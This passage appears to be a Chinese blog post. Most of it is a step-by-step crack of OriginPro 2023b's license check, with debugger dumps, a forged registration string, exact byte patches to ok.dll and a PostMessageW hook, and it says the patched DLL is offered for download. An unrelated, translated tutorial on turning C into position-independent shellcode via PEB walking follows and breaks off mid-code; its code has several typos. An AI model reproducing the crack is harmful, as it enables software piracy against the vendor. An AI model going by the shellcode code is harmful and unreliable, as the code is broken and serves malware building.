.text:0000000180134104                 mov     rdx, [rsp+28h+arg_0]
.text:0000000180134109                 lea     ecx, [r8+14h]
.text:000000018013410D                 call    LABUTIL_diagnostics
.text:0000000180134112                 nop
.text:0000000180134113                 lea     rcx, [rsp+28h+arg_0]
.text:0000000180134118                 call    cs:__imp_??1CStringUTF8@@QEAA@XZ ; CStringUTF8::~CStringUTF8(void)
.text:000000018013411E                 mov     eax, cs:dword_1803D4898
.text:0000000180134124                 test    ebx, ebx
.text:0000000180134126                 cmovnz  eax, ebx
.text:0000000180134129                 mov     cs:dword_1803D4898, eax
.text:000000018013412F                 lea     rcx, [rsp+28h+arg_8]
.text:0000000180134134                 call    cs:__imp_??1CStringUTF8@@QEAA@XZ ; CStringUTF8::~CStringUTF8(void)

我们在ou+1340C5下断点，观察函数sub_180136600调用完成后第二个参数和第三个参数的情况

很明显，第3个参数rsp+28h+arg_8是传出参数，调用完成后会保存我们的license字符串

继续观察这段代码我们可以发现，license text作为第1个参数传给了函数sub_18012EF30，返回值放到ebx中并最终作为函数CStringUTF8::Format的第4个参数，然后这个函数就结束了

那现在我们就进入函数sub_18012EF30中一探究竟

ou!sub_18012EF30

首先我们通过windbg的调试可以确定下面这个函数的两次调用分别返回了字符串REGID和FSN

后面函数sub_180136A90也被调用了两次，我们先看第一次调用的参数传入情况

0:000> dc poi(rcx)
0000015f`eea4c9e8  73696874 20736920 6563696c 2065736e  this is license 
0000015f`eea4c9f8  74786574 72003300 6e696769 5c62614c  text.3.riginLab\
0000015f`eea4ca08  6563694c 0065736e 00756a70 00adf00d  License.pju.....
0000015f`eea4ca18  eea4cb58 0000015f 0000002f baadf00d  X..._.../.......
0000015f`eea4ca28  65780035 646f4d64 6e496c65 2e626968  5.xedModelInhib.
0000015f`eea4ca38  00666466 61745320 64656b63 73694820  fdf. Stacked His
0000015f`eea4ca48  72676f00 6f2e6d61 00756a70 baadf00d  .ogram.opju.....
0000015f`eea4ca58  eea4ca18 0000015f 0000002f baadf00d  ...._.../.......
0:000> dc poi(rdx)
0000015f`fa7c2a08  49474552 20730044 6563696c 0065736e  REGID.s license.
0000015f`fa7c2a18  fa7c2978 0000015f 0000000f baadf00d  x)|._...........
0000015f`fa7c2a28  003d4c43 33323632 62302e00 005c6100  CL=.2623..0b.a\.
0000015f`fa7c2a38  fa7c2a18 0000015f 0000000f baadf00d  .*|._...........
0000015f`fa7c2a48  72747845 76650061 6c2e6c61 00006369  Extra.eval.lic..
0000015f`fa7c2a58  00000001 00000001 0000000f baadf00d  ................
0000015f`fa7c2a68  44500003 2e324345 00464446 baadf00d  ..PDEC2.FDF.....
0000015f`fa7c2a78  00000001 00000002 0000000f baadf00d  ................
0:000> dc poi(r8)
00007ffb`8a77f050  00000000 00000000 00000000 00000000  ................
00007ffb`8a77f060  8a77a8f8 00007ffb 00000020 00000fff  ..w..... .......
00007ffb`8a77f070  00015262 00000000 fd2fff10 0000015f  bR......../._...
00007ffb`8a77f080  fa7c3e78 0000015f 8a7721b0 00007ffb  x>|._....!w.....
00007ffb`8a77f090  8a7721c0 00007ffb ffffffff ffffffff  .!w.............
00007ffb`8a77f0a0  ffffffff 00000000 00000000 00000000  ................
00007ffb`8a77f0b0  00000000 00000000 020007d0 00000000  ................
00007ffb`8a77f0c0  8a77a8f8 00007ffb 00000040 00000fff  ..w.....@.......
0:000> r r9
r9=000000000000000b

1p：我们输入的license text
2p：REGID
3p：传出参数
4p：硬编码的值，0xB

ou!sub_180136A90

现在我们进入函数sub_180136A90，这个函数中调用的都是CString类的一些函数，因此很容易理清逻辑，这个函数会对我们的输入的license字符串作如下处理

license text转为大写
获取REGID在license text中的index
如果index为-1（license text中不存在REGID）或者0（REGID位于license text的开头），则返回1，同时传出参数为空
否则从license text的index+len('REGID')+1的位置开始截取长度为0xB的字符串填充到传出参数，另外第一个参数，也就是我们输入的license text也发生了变化，index及之后的字符都被丢弃了

然后再次调用

可以看到该函数第二次调用的返回值会直接影响到最终的返回值，0x191即401，也就是license text验证失败的错误代码

很显然我们不希望最后返回401，因此我们要控制al不为0，那我们就可以构造出如下的license text来控制al为1

0FSN0123456789abcdefghijkREGIDABCDEFGHIJKLMNOPQRSTUVWXYZ

然后函数sub_180136A90两次调用的传出参数将会分别作为函数okuCountTotalSeries的参数被调用

0:000> dc rcx
0000015f`fa7c2a28  45444342 49484746 004c4b4a 005c6174  BCDEFGHIJKL.ta\.
0000015f`fa7c2a38  fa7c2958 0000015f 0000000f baadf00d  X)|._...........
0000015f`fa7c2a48  003d4c43 33323632 62302e00 005c6100  CL=.2623..0b.a\.
0000015f`fa7c2a58  00000001 00000001 0000000f baadf00d  ................
0000015f`fa7c2a68  44500003 2e324345 00464446 baadf00d  ..PDEC2.FDF.....
0000015f`fa7c2a78  00000001 00000002 0000000f baadf00d  ................
0000015f`fa7c2a88  44004303 2e334345 00464446 baadf00d  .C.DEC3.FDF.....
0000015f`fa7c2a98  00000001 00000001 0000000f baadf00d  ................
0:000> dc rdx
0000015f`eea4c868  34333231 38373635 63626139 67666564  123456789abcdefg
0000015f`eea4c878  69006968 62614c6e 6369005c 65736e65  hi.inLab\.icense
0000015f`eea4c888  51000000 55545352 59585756 0000005a  ...QRSTUVWXYZ...
0000015f`eea4c898  eea4cb98 0000015f 0000002f baadf00d  ...._.../.......
0000015f`eea4c8a8  4e534630 33323130 37363534 62613938  0FSN0123456789ab
0000015f`eea4c8b8  66656463 6a696867 6369006b 65736e65  cdefghijk.icense
0000015f`eea4c8c8  65630000 0065736e 36323532 00003332  ..cense.252623..
0000015f`eea4c8d8  00000001 00000013 0000002f baadf00d  ......../.......

ok!okuCountTotalSeries

该函数位于C:\Program Files\OriginLab\Origin2023b\ok.dll

从上图中可以看出，我们需要控制函数okuCountTotalSeries的返回值不为0

那么我们就需要控制该函数内部的这两个分支，不能跳到loc_180E0C1D7

ok!sub_180E0A430

该函数代码不多，逻辑也是相当的简单

就是把我们传给函数okuCountTotalSeries的第2个参数，也就是字符串

123456789abcdefghi
012345678901234567

的0xB处开始拷贝出来，就是cdefghi，返回值就是atol函数的返回值，很显然，当前的注册码是没有办法转换成long的，因此我们需要把cdefghi改成1234567

现在我们的注册码就变成了

0FSN0123456789ab1234567jkREGIDABCDEFGHIJKLMNOPQRSTUVWXYZ

ok!sub_180DF8F70

这个函数的内容有一点长，其传入的参数如下：

0:000> dc rcx
0000015f`fa7c3e88  45444342 49484746 004c4b4a 00006369  BCDEFGHIJKL.ic..
0000015f`fa7c3e98  00000001 00000001 0000000f baadf00d  ................
0000015f`fa7c3ea8  6d650030 005c7365 00332e32 00007300  0.emes\.2.3..s..
0000015f`fa7c3eb8  00000001 00000009 0000000f baadf00d  ................
0000015f`fa7c3ec8  57746547 6449646e 746e0078 006c6f72  GetWndIdx.ntrol.
0000015f`fa7c3ed8  00000001 0000000f 0000000f baadf00d  ................
0000015f`fa7c3ee8  4e746547 65657254 6e616843 00736567  GetNTreeChanges.
0000015f`fa7c3ef8  00000001 0000000d 0000000f baadf00d  ................
0:000> r rdx
rdx=0000000000000000
0:000> r r8
r8=0000000000000000

我不想进去看了，直接看一下返回值，返回值是一个整型数，然后和函数sub_180E0A430的返回值进行了比较，如果两者不相等，最终就会返回0

那么很简单，我们只需要控制sub_180E0A430的返回值和该函数的返回值一样即可，当前函数的返回值是0x42dded，即4382189，再次更新我们的注册码

0FSN0123456789ab4382189jkREGIDABCDEFGHIJKLMNOPQRSTUVWXYZ

好了，现在我们重新回到ou.dll的函数sub_18012EF30

ou!loc_18012EFDC

mov     dl, 22h ; '"'
lea     rcx, [rbp+arg_10]
call    cs:?ReverseFind@CStringUTF8@@QEBAHD@Z ; CStringUTF8::ReverseFind(char)
lea     r8d, [rax+1]
lea     rdx, [rbp+var_18]
lea     rcx, [rbp+arg_10]
call    cs:?Left@CStringUTF8@@QEBA?AV1@H@Z ; CStringUTF8::Left(int)
nop
mov     rax, [rbp+var_20]
mov     [rsp+50h+var_30], rax
mov     r9, [rbp+arg_18]
xor     r8d, r8d
lea     rdx, [rbp+arg_8]
lea     rcx, [rbp+var_18]
call    sub_1801308E0
mov     ecx, 191h
test    eax, eax
cmovz   edi, ecx
lea     rcx, [rbp+var_18]
call    cs:__imp_??1CStringUTF8@@QEAA@XZ ; CStringUTF8::~CStringUTF8(void)
jmp     short loc_18012F033

上面汇编代码中的[rbp+arg_10]就是函数sub_180136A90的第1个参数，我们前面已经知道了该函数会改变自己第一个参数的内容，就是会把REGID和FSN及后面的字符都丢掉，那么到这里[rbp+arg_10]的值就是

这段代码做的事就是在[rbp+arg_10]找到"最后一次出现的位置，然后丢弃该位置之后的字符

最后调用函数sub_1801308E0

ou!sub_1801308E0

我们先看一下参数传入情况

1p：前面使用"截取出来的字符串
2p：传出参数
3p：0
4p：123456789ab4382189
5p：BCDEFGHIJKL

该函数会检查第一个参数是否是空字符串，因为我们没有"，所以第一道检查就挂了

另外就是该函数的返回值也需要进行控制，根据loc_18012EFDC中的内容

mov     ecx, 191h
test    eax, eax
cmovz   edi, ecx

只有eax不为0，edi才不会变成0x191

因此我们需要经过该函数的重重检查，到达loc_180130A1F

前面的检查都由CString类的函数完成，分析起来很简单，这里不再赘述，最终形成的注册码为：

INCREMENTFEATUREorglabSIGN123456789""FSN09876543278L5824771TUVWXYZREGIDFSNABCDEFGHIJKLMNOPQRSTUVWXYZ

但是输入该注册码之后，并没有提示我们注册成功，虽然没有401报错了，但是我们的软件仍未被激活

仔细审查函数sub_1801308E0的代码，可以在函数尾部发现有一个叫做COKAccess::GetTempViewportLimits的函数被调用，其第1个参数为

INCREMENTFEATUREorglabSIGN123456789""

进入该函数，一路跟到了ok.dll的sub_18012DDA0

ok!sub_18012DDA0

在该函数下断点，我们可以观察到，注册码中的下面三部分被存储到了内存的特定位置中

INCREMENTFEATUREorglabSIGN123456789""
9876543278L5824771
SNABCDEFGHI

我们记录下这三个字符串存储的内存地址，然后下内存读的条件断点

通过内存访问断点定位检测代码

我直接在这三个内存地址上下内存读断点

ba r1 00000218`db5dab88 
ba r1 00000218`db5dac08
ba r1 00000218`dc168aa8

最后在第二个断点被触发时得到如下调用栈

Breakpoint 1 hit
ok!OSetNumericSettings::operator=+0x403b:
00007ffc`178eec1b 0f95c0          setne   al
0:000> k
 # Child-SP          RetAddr               Call Site
00 000000ad`bfdff558 00007ffc`178ec37b     ok!OSetNumericSettings::operator=+0x403b
01 000000ad`bfdff560 00007ffc`17f4eae3     ok!OSetNumericSettings::operator=+0x179b
02 000000ad`bfdff5a0 00007ffc`17f54649     ok!okfxDoNewLegendEntries+0x21b3
03 000000ad`bfdff5e0 00007ffc`17f54f6d     ok!GetObjectPlotCategory::ObjectSeriesSetType+0x1229
04 000000ad`bfdff630 00007ffc`17f50673     ok!GetObjectPlotCategory::ObjectSeriesSetType+0x1b4d
05 000000ad`bfdffcb0 00007ffc`17f535c1     ok!GetObjectPlotCategory::DataSeriesGetProcessedData+0xe93
06 000000ad`bfdffce0 00007ffc`17955ded     ok!GetObjectPlotCategory::ObjectSeriesSetType+0x1a1
07 000000ad`bfdffd30 00007ffc`1a962731     ok!COKAccess::OkOnItemReDraw+0x10d
08 000000ad`bfdffdb0 00007ffc`33c70a7c     ou!COriginApp::OnIdle+0xd1
09 000000ad`bfdffe00 00007ffc`33ca3c20     mfc140u!CWinThread::Run+0x5c [D:\a\_work\1\s\src\vctools\VC7Libs\Ship\ATLMFC\Src\MFC\thrdcore.cpp @ 621] 
0a 000000ad`bfdffe40 00007ff6`625ea44e     mfc140u!AfxWinMain+0xc0 [D:\a\_work\1\s\src\vctools\VC7Libs\Ship\ATLMFC\Src\MFC\winmain.cpp @ 61] 
0b 000000ad`bfdffe80 00007ffc`651a7614     Origin64+0xa44e
0c 000000ad`bfdffec0 00007ffc`654a26b1     KERNEL32!BaseThreadInitThunk+0x14
0d 000000ad`bfdffef0 00000000`00000000     ntdll!RtlUserThreadStart+0x21

稍加整理，即可得到函数的调用顺序，我们只取出调用栈中的前几个即可，整理出来如下的调用栈

sub_180793590
    -> sub_180790520   调用点：0x18079066E
        -> sub_180794B10
            -> sub_180794600
                -> sub_18078EAC0 
                    -> sub_18012C360
                        -> sub_18012EC10

这里面的函数代码一个比一个长，简单放一个拓扑图感受一下

所以这些函数我都是大致浏览了一下，其中函数sub_180790520吸引到了我的注意

在下面这个地方（0x18079066E），函数调用了sub_180794B10，而这个函数的返回值决定了分支的走向

继续往下浏览，我发现在右边的分支最终会调用函数COKAccess::UpdateMainWinTitle，这个看起来很不错，因为如果是激活失败的话也没必要更新主窗口的标题，可以看到我当前的测试软件的窗口标题中有一个Expired，同时左边的分支并没有什么有趣的东西，因此我们尝试把函数sub_180794B10的返回值强制修改为1

patch程序

这里之所以选择修改返回值而不是分析函数sub_180794B10的代码，是因为这个函数实在是太复杂了，不如赌一把直接修改返回值

看一下缩略图就知道这个函数有多复杂了，比我上面贴的那个还复杂

想要把这个函数分析明白需要很多时间，所以我选择直接patch

我们最终会从左边那个分支返回，所以我们需要把mov eax, ebx修改掉，保证最后的返回值非0

这个指令对应的机器码如下

0:001> u ok+7954CB 
ok!GetObjectPlotCategory::ObjectSeriesSetType+0x20ab:
00007ffc`17f554cb 8bc3            mov     eax,ebx

只占用2个字节，因此我们需要搞一个只占用2字节，而且还能保证eax非0的指令

如上图所示，mov al, 1就正好符合我们的需求，我们只需要使用管理员权限打开IDA，将ok.dll的0x1807954CB修改为b001即可

使用API HOOK技术定位消息发送代码

我当时以为这把肯定能搞定了，结果输入注册码之后弹出了如下消息框，真的是太难了

现在我要找一下这个窗是怎么弹出来的，在user32!messageboxw下断点，看一下调用栈

Breakpoint 0 hit
USER32!MessageBoxW:
00007ffc`64609750 4883ec38        sub     rsp,38h
0:000> k
 # Child-SP          RetAddr               Call Site
00 00000046`963fe638 00007ffc`1a939814     USER32!MessageBoxW
01 00000046`963fe640 00007ffc`33c8782e     ou!CMainFrame::WindowProc+0x704

这个消息框是在CMainFrame::WindowProc函数的0x18003980F位置被调用的

这个函数看名字再加上IDA分析出来的参数情况，基本上能猜出来是通过消息触发的，后两个参数应该就是lParam和wParam，和SendMessage的参数对应

我们可以使用IDA的分支图追溯一下函数MessageBoxW的第2和第3个参数（就是消息框的标题和内容）是哪里来的

最终可以定位到这两个参数是在0x18003940F和0x180039422被初始化的，从这个地方的函数名称和参数传入情况就能看出来，第一个参数是传出参数，将会保存一个字符串，并且这个函数两次调用，其第2个参数分别是CMainFrame::WindowProc的第4和第3个参数

因此我们可以下下面这样的断点来观察该函数调用前后的参数情况

ba e1 ou+3940F "r rdx;g"
ba e1 ou+39422 "dc poi(rsp+48);r rdx;g"
ba e1 ou+39428 "dc poi(rsp+40);g"

得到如下结果：

rdx=0000000000003f0e
000001d9`d2b91dc8  00740041 00650074 0074006e 006f0069  A.t.t.e.n.t.i.o.
000001d9`d2b91dd8  0021006e abab0000 abababab abababab  n.!.............
000001d9`d2b91de8  abababab feeeabab 00000000 00000000  ................
000001d9`d2b91df8  00000000 00000000 feeefeee feeefeee  ................
000001d9`d2b91e08  bd768892 00fbed99 d2a8e380 000001d9  ..v.............
000001d9`d2b91e18  c305e490 000001d9 feeefeee feeefeee  ................
000001d9`d2b91e28  feeefeee feeefeee feeefeee feeefeee  ................
000001d9`d2b91e38  feeefeee feeefeee feeefeee feeefeee  ................
rdx=0000000000003fb6
000001d9`d2a8e398  006f0059 00720075 00460020 0045004c  Y.o.u.r. .F.L.E.
000001d9`d2a8e3a8  006c0058 0020006d 0069006c 00650063  X.l.m. .l.i.c.e.
000001d9`d2a8e3b8  0073006e 00200065 00690066 0065006c  n.s.e. .f.i.l.e.
000001d9`d2a8e3c8  00690020 00200073 006e0069 00610076   .i.s. .i.n.v.a.
000001d9`d2a8e3d8  0069006c 002e0064 abab0000 abababab  l.i.d...........
000001d9`d2a8e3e8  abababab abababab feeeabab feeefeee  ................
000001d9`d2a8e3f8  feeefeee feeefeee 00000000 00000000  ................
000001d9`d2a8e408  00000000 00000000 feeefeee feeefeee  ................

可以看到两次调用的第2个参数分别为0x3f0e和0x3fb6，我们选择0x3fb6作为过滤条件，因为标题区分度不够高，可能别的窗口也会使用同样的标题，而内容重复的概率不高，那么我们就可以HOOK住消息发送函数，检测传进来的wParam是否为0x3fb6，消息发送函数我知道的一共有两个，一个是SendMessage，另一个是PostMessage，我当时先HOOK的SendMessageW，但是并没有拦截到wParam值为0x3fb6的调用，后面我又HOOK了PostMessageW，成功拦截，下面我记录一下我HOOK这两个API的过程

api hook的技术细节

我在网上搜了搜，给出的方案是把原始函数的前面几个字节替换成跳转到我们的hook函数的指令，然后在hook函数中对参数进行过滤，之后恢复原始函数的前面几个字节，再去调用原始函数并返回

但是这个并不满足我的需求，由于在hook函数内修复了原始函数，所以他只能hook一次

我后来想的办法是在hook函数内修复原始函数，调用原始函数后保存返回值，然后再修改原始函数的前几个字节，重新hook住这个函数，再返回前面保存的返回值，但是这样在多线程中会出现问题，最后在汪哥的提醒下，找到了下面的hook方式

最终导致的结果就是，当PostMessageW被调用的时候，指令的走向就变成了下面这样

原理已经清楚，代码就很容易写了，如下图所示，我们顺利定位到了发送该消息的调用栈

这条消息实际上是由sub_180793590发送的，调用位置在0x180793625

而这个函数又是在OkOnItemReDraw的0x180195DE8位置调用的，观察该函数的分支走向并结合里面调用的各个函数名分析即可定位到关键判断语句的位置：0x180195D3E

test    eax, eax
jnz     loc_18019624F

故技重施，把jnz修改为jz即可，前者的机器码为0F 85，后者的机器码为0F 84，修改之后，重新打开OriginPro，没有任何弹窗，也不会出现过一段时间就自动退出的情况，虽然查看注册信息仍然是未激活状态，但是已经不影响正常使用了

OK，这次的破解就到这儿吧，不足之处还望各位师傅指点

本篇文章中用到的工具以及patch之后的DLL都打包放到这里了

从一个C语言项目到汇编再到shellcode

2022-10-09T00:00:00+02:00

原文链接

概述

恶意软件作者以及exp开发者经常将一段独立的、位置无关的代码叫做shellcodes

这种类型的代码可以被很简单的注入到任何合适的内存中并立即执行，不需要任何外部的加载器

尽管shellcode为研究人员和恶意软件作者提供了很大的便利，但是构造shellcode非常麻烦

shellcodes必须要遵循一套与编译器输出的格式具有很大差异的准则

这也是为什么大家都直接用汇编语言来写shellcode，就是为了完全控制输出的格式

毋庸置疑的是，使用汇编语言来构造shellcode是最精确的方法，但是与此同时，也很容易出错并且很麻烦

因此就有很多研究者想尽办法来简化这一过程，最大程度的利用C语言编译器而不是手动使用汇编语言来构建

在这份文档中，我将会分享我的相关经验以及我所使用的方法

此文档适用于初学者，在文中我详细介绍了一些围绕shellcode创建的常见技术，在第一部分中，我将会展示一些shellcode需要遵守的基本准则，以及相关方法的原理，然后我会逐步讲解shellcode的创建过程

使用这些方法，我们可以避免手动编写全部的汇编代码，而只需要对生成的汇编代码做一些手动修改即可，我们并没有抛弃手动编写shellcode的优势，只是跳过了繁冗复杂的部分

以前的技术和我攥写本文档的动力

使用C代码来创建shellcode的想法并不新鲜

在Bill Blunden于2012年出版的《The Rootkit Arsenal - Second Edition》一书中，他讲解了自己通过C代码创建shellcode的方法（第十章：使用C语言创建shellcode）

在Matt Graeber (@Mattifestation)的文章Writing Optimized Windows Shellcode in C中也介绍了相似的技术

在上面提到的这两种方法中，shellcode都是直接从C代码创建出来的，整个的理念都是围绕着修改编译器配置来创建出来一个PE文件使得我们能够从该文件中提取出来一段能够独立运行的代码

但是在这些方法中都完全忽略了使用纯汇编代码来创建shellcode的优势，之前的这些方法只能让我们获取到最终生成好的代码，而无法直接控制汇编代码，并且根本没有提供和这些汇编代码交互或者修改的机会

我所探寻的是一种能够将两者结合起来的方法：略过复杂且易出错的汇编代码编写部分，与此同时生成能够让我自由修改的汇编代码，最终用于生成shellcode

Shellcode的通用准则

对于PE格式的文件，我们并不需要关心他是怎么被加载的，Windows Loader会帮你做这些事，但是对于shellcode就不一样了，我们不能依赖Windows Loader和PE格式提供的便利：

没有section
没有Data Directory （导入表、重定位表等等）

下面是PE文件和shellcode的差异对比表格：

特性	PE	Shellcode
加载	通过Windows Loader；运行EXE会触发进程的创建	自定义，简化过的；必须寄生在已经存在的进程中（比如通过代码注入+进程注入）或者附加到已经存在的PE文件中（比如病毒）
构成	分为不同的section，拥有特定的访问权限，搭载不同的元素（code、data、resources等）	全部都在一片内存区域中（读、写、执行）
根据load base重定位	在重定位表中定义，被Windows Loader所使用	自定义；位置无关的代码
对系统API的访问	在导入表中定义，被Windows Loader所使用	自定义；通过PEB查找来获取导入；没有导入表或者简化过的

位置无关的代码

对于PE文件，根据其在内存中加载的基地址，Windows Loader可以通过重定位表将所有的地址进行偏移，这一过程是在运行时自动完成的

而对shellcodes而言，我们无法利用这个特性，因此只能编写出不需要进行重定位的代码，遵循此准则的代码被称作Position Independent Code (PIC)

通过使用相对地址可以创建出PIC，我们可以使用short jumps、long jumps、调用本地方法，因为这些操作都使用相对地址

不通过导入表调用API

对于PE文件，所有在我们的代码中被调用的API都会被收集到导入表中，导入表是由链接器创建的，然后在运行时对导入表进行解析

对于shellcodes，我们无法访问导入表，因此我们需要自己来处理API的解析

为了获取到在代码中被调用的API，我们需要利用PEB （Process Environment Block ---- 在进程运行时创建出来的系统结构）

一旦我们的shellcode注入到进程中，我们就需要获取到目标的PEB，然后用它来搜索加载到该进程运行地址空间中的DLL

我们需要获取到ntdll.dll或者kernel32.dll来解析剩下的API，每一个进程都会加载ntdll.dll，kernel32.dll会在进程初始化完成后被加载，这两者中的任意一个被我们获取到之后，就能用来加载所有我们需要的DLL文件

获取shellcode的导入API：

获取PEB地址
通过PEB->Ldr->InMemoryOrderModuleList查找到：
kernel32.dll
或者ntdll.dll
遍历kernel32（或者ntdll）的导出表，查找到下面函数的地址：
kernel32.LoadLibraryA (该函数最终会调用ntdll.LdrLoadDll)
kernel32.GetProcAddress (该函数最终会调用ntdll.LdrGetProcedureAddress)
使用LoadLibraryA（或者LdrLoadDll）来加载我们需要的DLL
使用GetProcAddress（或者LdrGetProcedureAddress）来获取我们需要的函数

获取PEB

PEB可以很方便的通过纯汇编代码来获取，指向PEB的指针是另一个结构体TEB（Thread Environment Block）的一个成员

32位进程使用FS段寄存器指向TEB，64位进程使用GS段寄存器指向TEB

进程位数	32bit	64bit
指向TEB的指针	FS段寄存器	GS段寄存器
PEB在TEB结构体中的偏移量	0x30	0x60

C语言实现如下：

    PPEB pen = NULL;
#if defined(_WIN64)
    peb = (PPEB)__readgsqword(0x60)
#else
    peb = (PPEB)__readfsdword(0x30)
#endif

基于PEB的DLL查找

PEB的其中一个成员是一个LinkedList，包含了该进程加载到内存中的所有DLL：

通过遍历该LinkedList，就能搜索到我们需要的DLL

下面的C代码演示了查找DLL的过程

#include <Windows.h>

#ifndef __NTDLL_H__

#ifndef TO_LOWERCASE
#define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1)
#endif

typedef struct _UNICODE_STRING
{
    USHORT  Length;
    USHORT  MaximumLength;
    PWSTR   Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _PEB_LDR_DATA
{
    ULONG       Length;
    BOOLEAN     Initialized;
    HANDLE      SsHandle;
    LIST_ENTRY  InLoadOrderModuleList;
    LIST_ENTRY  InMemoryOrderModuleList;
    LIST_ENTRY  InInitializationOrderModuleList;
    PVOID       EntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

// 这里我们不想使用任何由外部模块导入的函数

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY      InLoadOrderModuleList;
    LIST_ENTRY      InMemoryOrderModuleList;
    LIST_ENTRY      InInitializationOrderModuleList;
    void*           BaseAddress;
    void*           EntryPoint;
    UNICODE_STRING  FullDllName;
    UNICODE_STRING  BaseDllName;
    ULONG           Flags;
    SHORT           LoadCount;
    SHORT           TlsIndex;
    HANDLE          SectionHandle;
    ULONG           CheckSum;
    ULONG           TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DAT_TABLE_ENTRY


typedef struct _PEB_LDR_DATA{
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    BOOLEAN SpareBool;
    HANDLE Mutant;

    PVOID IMAGEBaseAddress;
    PPEB_LDR_DATA Ldr;
} PEB, * PPEB;

#endif

inline LPVOID get_module_by_name(WCHAR* module_name)
{
    PPEB peb = NULL;
    #if defined(_WIN64)
    peb == (PPEB)___readgsqword(0x60);
    #else
        peb = (PPEB)__readfsdword(0x30);
    #endif
    PPEB_LDR_DATA ldr = peb->Ldr;
    LIST_ENTRY list = ldr->InLoadOrderModuleList;

    PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));
    PLDR_DATA_TABLE_ENTRY curr_module = Flink;

    while(curr_module != NULL && curr_module->BaseAddress != NULL)
    {
        if(curr_module->BaseDllName.Buffer==NULL)continue;
        WCHAR* curr_name = curr_module->BaseDllName.Buffer;

        size_t i=0;
        for(i=0;module_name[i] !=0&&curr_name[i]!=0;i++){
            WCHAR c1,c2;
            TO_LOWERCASE(c1,module_name[i]);
            TO_LOWERCASE(c2,curr)name[i]);
            if(c1!=c2) break;
        }
        if(module_name[i]==0&&curr_name[i]==0) {
            return curr_module->BaseAddress;
        }
        curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;
    }
    return NULL;
}

导出函数查询

获取到kernel32.dll的基地址之后，我们还需要获取一些函数的地址：LoadLibraryA和GetProcAddress，这个工作可以通过查询该DLL的导出表来完成

首先，我们需要从这个DLL的Data Directory中获取到导出表，然后遍历导出表中所有的函数名称直到找到我们想要的函数，然后拿到该函数的RVA，加到DLL的基地址上面获取到完整的函数地址

下面是导出表搜索函数的代码：

inline LPVOID get_func_by_name(LPVOID module, char* func_name)
{
    IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;
    if(idh->e_magic!=IMAGE_DOS_SIGNATURE){
        return NULL;
    }
    IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module+idh->e_lfanew);
    IMAGE_DATA_DIRECTORY* exportsDir=&(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
    if(exportsDir->VirtualAddress==NULL)return NULL;
    DWORD expAddr = exportsDir->VirtualAddress;
    IMAGE_EXPORT_DIRECTORY* exp=(IMAGE_EXPORT_DIRECTORY*)(expAddr+(ULONG_PTR)module);
    SIZE_T namesCount=exp->NumberOfNames;

    DWORD funcsListRva=exp->AddressOfFunctions;
    DWORD funcNamesListRVA=exp->AddressOfNames;
    DWORD namesOrdsListRVA=exp->AddressOfNameOrdinals;

    for(SIZE_T i=0;i<namesCount;i++){
        DWORD* nameRVA=(DWORD*)(funcNamesListRVA+(BYTE*)module +i*sizeof(DWORD);
        DWORD* nameIndex=(WORD*)(funcNamesListRVA+(BYTE*)module +i*sizeof(WORD);
        DOWRD* funcRVA = (DOWRD*)(funcsListRva+(BYTE*)module+(*nameIndex)*sizeof(DWORD));

        LPSTR curr_name = (LPSTR)(*nameRva+(BYTE*)module);
        size_t k=0;
        for(k=0;func_name[k]!=0&&curr_name[k]!=0;k++){
            if(func_name[k]!=curr_name[k] break;        
        }
        if(func_name[k]==0&&curr_name[k]==0){
            return (BYTE*)module+(*funcRVA);
        }
    }
    return NULL;
}

把上面的代码封装到一个头文件peb_lookup.h

#pragma once
#include <Windows.h>

#ifndef __NTDLL_H__

#ifndef TO_LOWERCASE
#define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1)
#endif


typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;

} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _PEB_LDR_DATA
{
    ULONG Length;
    BOOLEAN Initialized;
    HANDLE SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID      EntryInProgress;

} PEB_LDR_DATA, * PPEB_LDR_DATA;

//here we don't want to use any functions imported form extenal modules

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY  InLoadOrderModuleList;
    LIST_ENTRY  InMemoryOrderModuleList;
    LIST_ENTRY  InInitializationOrderModuleList;
    void* BaseAddress;
    void* EntryPoint;
    ULONG   SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG   Flags;
    SHORT   LoadCount;
    SHORT   TlsIndex;
    HANDLE  SectionHandle;
    ULONG   CheckSum;
    ULONG   TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;


typedef struct _PEB
{
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    BOOLEAN SpareBool;
    HANDLE Mutant;

    PVOID ImageBaseAddress;
    PPEB_LDR_DATA Ldr;

    // [...] this is a fragment, more elements follow here

} PEB, * PPEB;

#endif //__NTDLL_H__

inline LPVOID get_module_by_name(WCHAR* module_name)
{
    PPEB peb = NULL;
#if defined(_WIN64)
    peb = (PPEB)__readgsqword(0x60);
#else
    peb = (PPEB)__readfsdword(0x30);
#endif
    PPEB_LDR_DATA ldr = peb->Ldr;
    LIST_ENTRY list = ldr->InLoadOrderModuleList;

    PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));
    PLDR_DATA_TABLE_ENTRY curr_module = Flink;

    while (curr_module != NULL && curr_module->BaseAddress != NULL) {
